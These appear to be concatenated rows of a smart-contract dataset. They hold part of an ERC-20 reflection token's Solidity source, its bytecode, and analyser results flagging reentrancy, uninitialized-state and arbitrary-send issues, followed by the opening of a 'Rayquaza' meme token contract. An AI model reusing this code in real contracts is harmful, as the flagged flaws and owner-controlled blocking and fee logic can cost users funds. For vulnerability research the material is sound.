(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600681526020017f4d79c58d62750000000000000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4d594f4255000000000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b9190505550611c2042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506005600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b9899cb535279b3b5ccde289cbea2258ea20acca64c9cf622c50f7bf76cf469c64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,184 |
0x38c7d98cd569e2750f13699fe93bc123478b3a8d | /**
*Submitted for verification at Etherscan.io on 2022-04-24
*/
/**
🐉Rayquaza🐉
Website: https://rayquazatoken.com/
Tg: https://t.me/Rayquazatokenl
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
